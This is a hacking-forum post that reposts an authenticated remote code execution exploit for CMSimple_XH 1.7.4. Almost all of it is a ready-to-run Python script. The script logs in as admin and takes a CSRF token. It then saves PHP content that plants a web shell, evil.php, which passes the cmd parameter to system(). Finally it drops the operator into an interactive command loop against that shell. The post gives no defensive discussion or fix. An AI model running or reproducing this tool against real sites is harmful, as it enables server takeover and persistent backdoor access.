Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

CMSimple_XH 1.7.4 - Remote Code Execution (RCE) (Authenticated)

 Share


Recommended Posts

# Exploit Title: CMSimple_XH 1.7.4 - Remote Code Execution (RCE) (Authenticated)
# Date: 01-10-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.cmsimple-xh.org/
# Software Link: https://www.cmsimple-xh.org/?Downloads
# Version: 1.7.4
# Category: Webapps
# Tested on: Linux/Windows


# CMSimple_XH is an open source project under GPL3 license
# Includes an endpoint that allows remote access
# Backup page is misconfigured, causing security vulnerability
# User information with sufficient permissions is required.

# Example: python3 exploit.py -u http://example.com -p Admin123



from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse


def main():
parser = argparse.ArgumentParser(description='CMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)')
parser.add_argument('-u', '--host', type=str, required=True)
parser.add_argument('-p', '--password', type=str, required=True)
args = parser.parse_args()
print("\nCMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)",
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
host(args)



def host(args):
#Check http or https
if args.host.startswith(('http://', 'https://')):
print("[?] Check Url...\n")
sleep(2)
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass
else:
print("\n[?] Check Adress...\n")
sleep(2)
args.host = "http://" + args.host
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass


# Check Host Status
try:
response = requests.get(args.host)
if response.status_code == 200:
login(args)
else:
print("[-] Address not reachable!")
sleep(2)

except requests.ConnectionError as exception:
print("[-] Address not reachable!")
sleep(2)
exit(1)


def login(args):

url = args.host + "/?&login"
cookies = {
"XH_2f": "evil"
}
headers = {
"Origin": args.host,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/?&login"
}
data = {
"login": "true",
"keycut": args.password,
"submit": "Login"
}
response = requests.post(url, headers=headers, cookies=cookies, data=data)

token = response.cookies.get("XH_2f")
soup = BeautifulSoup(response.text, 'html.parser')

if (soup.find("link",{"rel":"next"})['href'] != "/"):
print("[!] Login Success!\n")
sleep(2)
csrf(args,token)
else:
print("[!] Wrong password!!\n")
sleep(2)


def csrf(args, token):

url = args.host + "/?file=content"
cookies = {
"status": "adm",
"XH_2f": token
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/?&settings",
"Accept-Encoding": "gzip, deflate",
"Connection": "close"
}
response = requests.get(url, headers=headers, cookies=cookies)

try:
soup = BeautifulSoup(response.text, 'html.parser')
csrf = soup.find_all("input", type="hidden")[3].get("value")
create(args, token, csrf)
except Exception as e:
print(e)
else:
pass



def create(args, token, csrf):

payload = "<?php\r\nfile_put_contents('./evil.php', \"\\x3c\\x3fphp system(\\x24_GET['cmd']);\\x3f\\x3e\");\r\n?>\r\n"

url = args.host
cookies = {
"status": "adm",
"XH_2f": token
}
headers = {
"Origin": args.host,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/?file=content&action=edit&xh_success=content",
"Accept-Encoding": "gzip, deflate"
}
data = {
"text": payload,
"file": "content",
"action": "save",
"xh_csrf_token": csrf
}
response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=True)

if (response.status_code == 200):
print("[!] Create Vuln File!\n")
sleep(2)
exploit(args)
else:
print("[!] Create Failed!\n")
sleep(2)


def exploit(args):

print("[+] Exploit Done!\n")
sleep(2)

while True:
cmd = input("$ ")
url = args.host + "/evil.php?cmd=" + cmd
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
}

response = requests.post(url, headers=headers, timeout=5)

if response.text == "":
print(cmd + ": command not found\n")
else:
print(response.text)



if __name__ == '__main__':
main()
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...